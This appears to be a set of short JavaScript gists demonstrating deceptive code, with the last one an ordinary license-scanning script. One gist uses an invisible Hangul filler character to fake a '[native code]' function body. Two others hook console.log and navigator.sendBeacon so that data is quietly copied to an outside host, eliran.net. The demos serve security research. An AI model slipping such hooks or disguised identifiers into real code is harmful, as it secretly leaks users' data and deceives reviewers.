This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
window.__defineGetter__('nativeᅠcode', () => console.log('hello, world')); | |
function x() { [nativeᅠcode] } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const nativeᅠcode = {}; | |
function x() { [nativeᅠcode] } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const native = {}, code = {}; | |
function x() { [native, code] } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const original = console.log; | |
console.log = function() { | |
original.apply(console, arguments); | |
navigator.sendBeacon('https://eliran.net', arguments); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const original = navigator.sendBeacon; | |
navigator.sendBeacon = function() { | |
original.apply(navigator, arguments); | |
original.apply(navigator, ['https://eliran.net', arguments]); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const LicenseWatch = require('./dist/index.js') | |
const licenses = new LicenseWatch('node_modules/**/package.json') | |
licenses.fetch() | |
var licensesCount = 0 | |
licenses.on('files', (files) => { | |
console.log('files processed' + ' - ' + files.length + ' - ' + files[0]) | |
}) |